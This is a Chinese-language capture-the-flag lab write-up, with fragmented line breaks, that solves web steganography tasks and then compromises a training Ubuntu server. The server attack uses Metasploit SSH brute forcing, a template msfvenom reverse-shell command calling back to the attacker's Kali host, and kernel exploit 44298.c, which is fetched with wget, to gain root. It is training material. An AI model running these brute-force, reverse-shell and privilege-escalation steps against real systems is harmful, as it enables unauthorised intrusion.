输⼊正确的⽤户名和密码之后,⻚⾯会发⽣跳转,我们跟随跳转即可。
1
在登录成功界⾯发现了
FLAG
1
FLAG:4C6F67696E207375636365737366756C
1
4.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,登录成功后找到⻚⾯中的⽉亮,将⽉亮中的信息解密,并将解密后的信息作为FLAG提交;
在登录成功之后,我们发现⻚⾯会跳转到
dlc.html
⻚⾯,我们直接访问该⻚⾯即可。
1
点击⽉亮发现弹出⼀串
base64
编码,将其解密。
1
FLAG: Base64decryptedsuccessfully
1
5.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,登录成功后找到⻚⾯中的⼗字星,将⼗字星中⻚⾯内容进⾏下载,将下载到的⽂件解密,并将解密后的⽂件内容作为FLAG提交;
点击⽹⻚中的⼗字星,下载⼀个
test.zip
⽂件,解压之后得到⼀个名为
flag.png
的⽂件
1
使⽤
file
命令查看⽂件类型,发现是⼀个⽂本⽂件,直接使⽤
cat
命令查看得到
flag
1
FLAG:UF71K2TW5JM88QZ8WMNTWKUY4
1
6.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,在登录界
⾯中登录,登录失败后找到⻚⾯中的链接访问连接并下载⽂件,将⽂件中的隐藏⽂件全称作为FLAG提交;
直接访问
treasure.html
⽂件,会下载⼀张
bg.png
⽂件
使⽤
steghide extract -sf
⽂件名
尝试获取图⽚的隐藏⽂件,发现存在密码,直接回⻋,是
⼀个空密码,接着提取到⼀个
a.txt
⽂件,使⽤
file
命令查看是个
PNG
,将其修改为
a.png
后查看
1
2
FLAG: a.txt
1
7.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,在登录界
⾯中登录,登录失败后找到⻚⾯中的链接访问连接并下载⽂件,将⽂件中隐藏信息⽂件的内容作为FLAG提交;
FLAG: It is over Look back
1
8.通过本地PC中渗透测试平台Kali对服务器场景Web20200529中的⽹站进⾏访问,寻找每⻚ 中的隐藏信息,将每条信息按顺序合并,作为FLAG提交;
隐藏信息
1
:⽹站⾸⻚源代码中
Please
隐藏信息
2
:⽹站⾸⻚的
css
⽂件中
check
隐藏信息
3
:
dlc.html
⻚⾯中,使⽤
ctrl + A
全选
eveny
隐藏信息
4
:
treasure.html
下载⻚⾯中
question
1
2
3
4
FLAG: Pleasecheckevenyquestion
1
任务⼗:系统漏洞利⽤与提权
任务环境说明:
服务器场景:PYsystem0033
服务器场景操作系统:Ubuntu (关闭链接)
1.使⽤nmap扫描靶机系统,将靶机开放的端⼝号按从⼩到⼤的顺序作为FLAG(形式:[端⼝
1,端⼝2…,端⼝n])提交;
FLAG: 21,22,80
1
2.通过上述端⼝访问靶机系统,使⽤弱⼝令进⾏登录,将正确的⽤户名和密码作为FLAG(形式:[⽤户名,密码])提交;
使⽤⽐赛提供的
dic_user
和
dic_pass
字典进⾏爆破。使⽤
msfconsole
⼯具爆破
ssh
协议
在
kali
中输⼊
msfconsole
,使⽤
search
命令搜索
ssh_login
然后使⽤
use 0
利⽤
id
为
0
的模块
1
2
rhosts
表示远程主机地址
user_file
⽤户名字典路径
(
我这⾥是相对路径
)
pass_file
密码字典路径
(
我这⾥也是相对路径
)
verbose
显示详细信息
threads
设置线程数
接着使⽤命令
run
或者
exploit
运⾏该模块
1
2
3
4
5
6
终得到⽤户名
ubuntu
和密码
admin123
1
FLAG: [ubuntu,admin123]
1
3.利⽤Kali渗透机⽣成反弹⽊⻢,将⽣成⽊⻢命令执⾏后提示的第四⾏的⾸个单词作为FLAG
(形式:[单词])提交;
这⾥使⽤
msfvenom
⼯具⽣成反弹
shell
的⽊⻢,⽬前我们是可以登录到系统的,因此可以执⾏某
些程序,所以我们可以⽣成
elf
格式的⽊⻢,
elf
格式是
Linux
中的可执⾏⽂件,类似于
Windows
中的
exe
格式⽂件。
msfvenom -p payload LHOST=kali
的
IP LPORT=kali
的端⼝
-f
输出格式
-o
输出的
程序名
1
2
3
⽣成的
shell.elf
是⼀个⽊⻢了,当服务器执⾏了这个程序,会返回给
lhost
设置的主机,以及
lport
设置的这个端⼝,返回⼀个
meterpreter
会话。达到控制的作⽤。
1
FLAG: [Payload]
1
4.对上述⽊⻢⽂件进⾏修改后上传到靶机系统中,使⽤MSF开启监听,将获得的当前权限的⽤户名作为FLAG(形式:[⽤户名])提交;
在服务器执⾏这个
shell.elf
程序之前,我们需要使⽤
msfconsole
进⾏监听,这样服务器给我们
返回⼀个
meterpreter
会话,我们才能去接收。
使⽤
msfconsole
中的
exploit/multi/handler
1
2
其中的
payload
值
和
lhost
以及
lport
需要跟⽣成⽊⻢的时候设置的值⼀样,接着使⽤
exploit
开启监听, 后我们将
shell.elf
通过
scp
命令上传到服务器当中的
/tmp
⽬录下。
1
执⾏完程序,接着来到
msfconsole
当中,查看是否返回
meterpreter
会话
1
FLAG: [ubuntu]
1
5.查看系统内核版本信息,将系统内核版本号作为FLAG(形式:[版本号])提交;
FLAG: 4.4.0-116
1
6.在Kali攻击机中查找可使⽤的漏洞源码,将找到的漏洞源码⽂件名作为FLAG(形式:[⽂件名])提交;
使⽤
kali
⾃带的
searchsploit
⼯具搜索内核版本以及操作系统,检索可以利⽤的提权脚本,发
现
44298
.c
符合。
1
FLAG: [44298.c]
1
7.利⽤上述漏洞源码后获得到的靶机/root下的唯⼀.txt⽂件的⽂件名作为FLAG(形式:[⽂件名]) 提交;
在系统中执⾏
gcc
发现存在
gcc
命令,由于漏洞源码是
c
⽂件,因此需要
gcc
⼯具进⾏编译。
1
但是由于
Ubuntu
是基于
debian
系统所开发的,⽽
kali
也是基于
debian
系统开放的。因此我们这
⾥直接可以在
kali
⾥⾯编译好
c
源码⽂件,上传到
Ubuntu
中可以直接执⾏,如果是对于那种
centos
系列,可能需要
centos
中有
gcc
,然后提权⽂件需要在
centos
中编译。在
kali
中编译
放到
centos
中执⾏会报错的。
因此这⾥我们直接在
kali
中编译上传即可。
1
2
接着在
ubuntu
中使⽤
wget
命令下载
kali
⽹站根⽬录下的编译好的
exp
可执⾏⽂件
1
FLAG: [dajvsev]
1
8.利⽤上述漏洞源码后将获得到的靶机/root下的唯⼀.txt⽂件的⽂件内容作为FLAG(形式:
[⽂件内容])提交;
FLAG: flag{06474975137c13d577c8d75ce1a776f1}
1